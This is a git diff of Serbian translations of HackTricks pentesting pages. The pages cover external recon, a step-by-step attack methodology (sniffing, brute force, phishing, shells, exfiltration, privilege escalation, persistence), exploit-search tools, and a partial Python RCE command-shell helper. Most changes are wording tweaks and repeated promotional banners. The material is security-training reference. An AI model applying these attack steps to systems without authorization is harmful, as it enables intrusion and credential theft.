sve **poddomene** domena (bilo preuzimanja poddomena?) 5. Pronašli sve **IP adrese** (iz i **ne iz CDN-a**) unutar opsega. -6. Pronašli sve **web servere** i napravili **screenshot** (ima li nešto čudno vredno dubljeg pregleda?) +6. Pronašli sve **veb servere** i napravili **screenshot** (ima li nešto čudno vredno dubljeg pregleda?) 7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji. 8. **Emailove**, **procurele akreditive** i **procurele tajne** koje bi vam mogle doneti **veliku pobedu veoma lako**. -9. **Pentestirali sve web stranice koje ste pronašli** +9. **Testirali sve vebove koje ste pronašli** -## **Automatski alati za potpunu rekonstrukciju** +## **Alati za potpunu automatsku rekonstrukciju** -Postoji nekoliko alata koji će obaviti deo predloženih radnji protiv datog opsega. +Postoji nekoliko alata koji će obaviti deo predloženih akcija protiv datog opsega. * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) @@ -639,23 +636,23 @@ Postoji nekoliko alata koji će obaviti deo predloženih radnji protiv datog ops ## **Reference** -* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) +* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) poput [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
-Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). +Ako vas zanima **karijera hakovanja** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). {% embed url="https://www.stmcyber.com/careers" %}
-Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 37ce34e23..f98c9976c 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
-
+
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). @@ -28,7 +28,7 @@ _Logotipi Hacktricks-a dizajnirani od strane_ [_@ppiernacho_](https://www.instag ### 0- Fizički napadi -Imate li **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**izlasku iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/). +Imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/). ### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/) @@ -41,17 +41,17 @@ Imajte na umu da ako obavljate eksterni test, kada uspete da pristupite internoj ### **2-** [**Zabava sa mrežom**](pentesting-network/) **(Interni)** **Ova sekcija se odnosi samo na interni test.**\ -Pre nego što napadnete hosta, možda biste radije **ukrali neke akreditive** **sa mreže** ili **snifovali** neke **podatke** kako biste **pasivno/aktivno(MitM)** saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Network**](pentesting-network/#sniffing). +Pre nego što napadnete hosta, možda biste radije **ukrali neke akreditive** **iz mreže** ili **snifovali** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Network**](pentesting-network/#sniffing). ### 3- [Skeniranje portova - Otkrivanje servisa](pentesting-network/#scanning-hosts) -Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts). +Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da saznate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts). ### **4-** [Pretraga eksploatacija verzija servisa](search-exploits.md) Kada saznate koje servise koristite, i možda njihove verzije, morate **tražiti poznate ranjivosti**. Možda imate sreće i postoji eksploatacija koja će vam omogućiti pristup... -### **5-** Pentesting Servisi +### **5-** Pentestiranje servisa Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, trebalo bi da potražite **uobičajene loše konfiguracije u svakom pokrenutom servisu**. @@ -60,7 +60,7 @@ Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, tre **Želim da napomenem** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deo (jer je najobimniji).**\ Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) možete pronaći ovde. -**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete ništa pronaći** na Google-u, obavite svoj **slepi pentesting**, možete početi tako što ćete **povezati se sa servisom, testirati ga i čitati odgovore** (ako ih ima). +**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete ništa pronaći** na Google-u, obavite **svoj slepi pentesting**, možete početi tako što ćete **povezati se sa servisom, testirati ga i čitati odgovore** (ako ih ima). #### 5.1 Automatski alati @@ -68,11 +68,11 @@ Postoje i nekoliko alata koji mogu obaviti **automatsku procenu ranjivosti**. ** #### **5.2 Brute-Force servisa** -U nekim scenarijima, **Brute-Force** bi mogao biti koristan za **kompromitovanje** servisa. [**Pronađite ovde CheatSheet različitih servisa za Brute-Force**](brute-force.md)**.** +U nekim scenarijima, **Brute-Force** bi mogao biti koristan za **kompromitovanje** servisa. [**Pronađite ovde CheatSheet različitih servisa za Brute-Force napade**](brute-force.md)**.** -### 6- [Phishing](phishing-methodology/) +### 6- [Fišing](phishing-methodology/) -Ako do sada niste pronašli zanimljivu ranjivost, **možda ćete morati da pokušate sa phishingom** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/): +Ako do sada niste pronašli značajnu ranjivost, **možda ćete morati da pokušate sa fišingom** kako biste ušli u mrežu. Možete pročitati moju metodologiju fišinga [ovde](phishing-methodology/): ### **7-** [**Dobijanje Shell-a**](shells/) @@ -88,7 +88,7 @@ Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkori * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Eksfiltracija**](exfiltration.md) +### **9 -** [**Ekstrakcija**](exfiltration.md) Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacite nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.** ### **10- Eskalacija privilegija** @@ -96,11 +96,11 @@ Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacit #### **10.1- Lokalna eskalacija privilegija** Ako **niste root/Administrator** unutar sistema, trebalo bi da pronađete način da **eskališete privilegije.**\ -Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linuxu**](../linux-hardening/privilege-escalation/) **i u** [**Windowsu**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\ Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše**: * [**Autentikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) -* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/) +* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/) * Kako **ukrasti akreditive** u Windows-u * Neke trikove o [_**Active Directory-u**_](../windows-hardening/active-directory-methodology/) @@ -108,7 +108,7 @@ Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše #### **10.2- Eskalacija privilegija u domenu** -Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak jednog odeljka, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team. +Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak sekcije, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team. ### 11 - POST @@ -119,8 +119,8 @@ Pronađite ovde različite načine za [**izvlačenje šifri u Windows-u**](broke #### 11.2 - Upornost -**Koristite 2 ili 3 različite vrste mehanizama upornosti tako da nećete morati ponovo da eksploatišete sistem.**\ -**Ovde možete pronaći neke** [**trikove upornosti na Active Directory-u**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Koristite 2 ili 3 različita tipa mehanizama upornosti tako da nećete morati ponovo da eksploatišete sistem.**\ +**Ovde možete pronaći neke** [**trikove za upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/#persistence)**.** TODO: Završiti post o upornosti u Windows-u i Linux-u @@ -141,15 +141,15 @@ Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može bit * [**Osnovno Eksploatisanje u Windows-u**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) * [**Osnovni alati za eksploatisanje**](../exploiting/tools/) -#### [**Osnove Python-a**](python/) +#### [**Osnovni Python**](python/) -#### **Trikovi kriptovanja** +#### **Kripto trikovi** * [**ECB**](../cryptography/electronic-code-book-ecb.md) * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](../cryptography/padding-oracle-priv.md) -
+
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). @@ -161,9 +161,9 @@ Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **m Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 96ea39b0f..8e47e30d1 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,10 +14,10 @@ Drugi načini podrške HackTricks-u: -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -28,12 +28,12 @@ Dobijte pristup danas: * [**Python deserijalizacije**](../../pentesting-web/deserialization/#python) * [**Trikovi za zaobilaženje Python pesaka**](bypass-python-sandboxes/) * [**Osnovna sintaksa zahteva za Python veb**](web-requests.md) -* [**Osnovna sintaksa i biblioteke za Python**](basic-python.md) +* [**Osnovna Python sintaksa i biblioteke**](basic-python.md) -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -44,7 +44,7 @@ Dobijte pristup danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index df15fde47..20157ca61 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -6,18 +6,18 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -39,11 +39,11 @@ is fixed running pip3 install wheel inside the virtual environment ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ -Dobijte pristup danas: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -53,10 +53,10 @@ Dobijte pristup danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-a**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index 4d320d639..a4ec57e4a 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -6,15 +6,15 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ @@ -90,7 +90,7 @@ return resp.json() def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` -## Python naredba za iskorišćavanje RCE-a +## Python naredba za iskorišćavanje udaljenog izvršenja koda (RCE) ```python import requests import re @@ -117,10 +117,10 @@ return 1 term = Terminal() term.cmdloop() ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -134,7 +134,7 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 819db3c43..15a0b4b5f 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -10,7 +10,7 @@ Drugi načini podrške HackTricks-u: * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -24,9 +24,9 @@ Dobijte pristup danas: ### Pretraživač -Uvek pretražujte na "google" ili drugim: **\ \[verzija\] eksploatacija** +Uvek pretražujte u "google" ili drugima: **\ \[verzija\] eksploatacija** -Takođe treba da probate **shodan** **pretragu eksploatacija** na [https://exploits.shodan.io/](https://exploits.shodan.io). +Takođe treba da probate **shodan** **pretragu eksploatacija** sa [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit @@ -60,11 +60,11 @@ Takođe možete pretražiti u vulners bazi podataka: [https://vulners.com/](http Ovo pretražuje eksploate u drugim bazama podataka: [https://sploitus.com/](https://sploitus.com) -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ -Dobijte pristup danas: +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -74,7 +74,7 @@ Dobijte pristup danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 689cc688a..f12dd877b 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -1,4 +1,4 @@ -# Bypassovanje zaštite fajl sistema: samo za čitanje / bez izvršavanja / Distroless +# Bypass FS zaštite: samo za čitanje / bez izvršavanja / Distroless
